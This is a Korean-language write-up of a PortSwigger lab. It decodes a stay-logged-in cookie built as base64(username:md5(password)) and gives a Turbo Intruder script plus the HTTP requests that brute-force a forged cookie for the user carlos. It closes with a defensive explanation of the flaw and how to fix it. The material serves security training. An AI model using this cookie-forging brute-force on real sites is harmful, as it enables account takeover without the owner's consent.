[Write-Up] PortSwigger - Brute-Forcing a Stay-Logged-in Cookie
목차
문제 분석
난이도:
PRACTITIONER
Lab: Brute-forcing a stay-logged-in cookie
이 랩은 “로그인 상태 유지” 기능을 제공하는 쿠키가 브루트포스에 취약하다. 브루트포스로 carlos의 쿠키를 만들어 계정 페이지에 접근하면 문제가 해결된다. 실습 계정은 wiener:peter, 대상 계정은 carlos이며 password 후보가 주어진다.
Authentication 진단
로그인 화면에 Stay logged in 체크박스가 있다.

이를 체크하고 로그인하면 응답에 장기 만료 쿠키가 설정된다.
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=iL2p6MqUtAGbaGmcCi8OwxXXonfuJRrW; Secure; HttpOnly; SameSite=None
Content-Length: 0
stay-logged-in 값을 base64로 디코딩하면 wiener:51dc30ddc473d43a6011e9ebba6ca770이 나온다. 앞은 username, 뒤는 32자 16진수 — MD5 해시로 보인다. 실습 비밀번호 peter를 MD5로 해싱하면 정확히 51dc30ddc473d43a6011e9ebba6ca770이 된다.
즉 쿠키 구조는 다음과 같다.
stay-logged-in = base64( username + ":" + md5(password) )
쿠키가 자격증명에서 결정론적으로 유도되므로, 비밀번호만 맞히면 쿠키를 통째로 만들어 낼 수 있다.
익스플로잇
carlos에 대해, 비밀번호 후보를 MD5로 해싱하고 carlos:<md5> 형태로 조립한 뒤 base64로 인코딩해 stay-logged-in 쿠키에 실어 요청하는 스크립트를 구성한다.
import hashlib
import base64
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=3,
requestsPerConnection=50,
pipeline=False
)
for word in open(r'C:/Users/cas/Desktop/CAS/asset/word.txt'):
pw = word.rstrip().encode('utf-8')
pw_md5 = hashlib.md5(pw).hexdigest()
cookie = 'carlos:' + pw_md5
cookie_b64 = base64.b64encode(cookie.encode('utf-8')).decode('utf-8')
engine.queue(target.req, cookie_b64)
def handleResponse(req, interesting):
table.add(req)
공격 대상 요청은 다음과 같다. 세션 쿠키 없이 stay-logged-in만으로 계정 페이지 접근을 시도한다.
GET /my-account?id=carlos HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: stay-logged-in=%s
결과에서 Y2FybG9zOjZmNGVjNTE0ZWVlODRjYzU4YzhlNjEwYTBjODdkN2Ey 쿠키가 200 응답을 돌려주며 /my-account가 바로 열린다. 문제가 해결된다.


정리
이 랩의 결함은 세션 유지 토큰이 난수가 아니라 자격증명의 함수라는 데 있다. base64(username:md5(password))는 인코딩·해시를 겹쳤을 뿐 비밀이 아니다. base64는 가역이고 MD5는 솔트 없는 고속 해시라, 공격자는 후보 비밀번호로 동일한 쿠키를 오프라인에서 재현해 서버에 던져 볼 수 있다. 즉 쿠키가 비밀번호 브루트포스를 로그인 rate limit 밖에서 수행하게 해 주는 통로가 된다.
“로그인 유지” 토큰은 그 자체가 비밀번호를 대신하는 장기 인증 수단이므로, 추측 불가능한 난수로 발급하고 서버 측에 사용자와의 매핑을 저장해야 한다. 토큰에서 사용자 정보를 역산할 수 없어야 하고, 비밀번호가 바뀌면 무효화되어야 한다. 값을 자격증명에서 유도하는 순간, 세션 유지 기능이 로그인 방어를 통째로 우회하는 뒷문이 된다.
이 랩과 같은 쿠키 구조에 XSS가 결합되면, 쿠키를 탈취한 뒤 오프라인에서 해시를 크랙해 평문 비밀번호까지 복원할 수 있다. 그 확장이 offline password cracking이다.
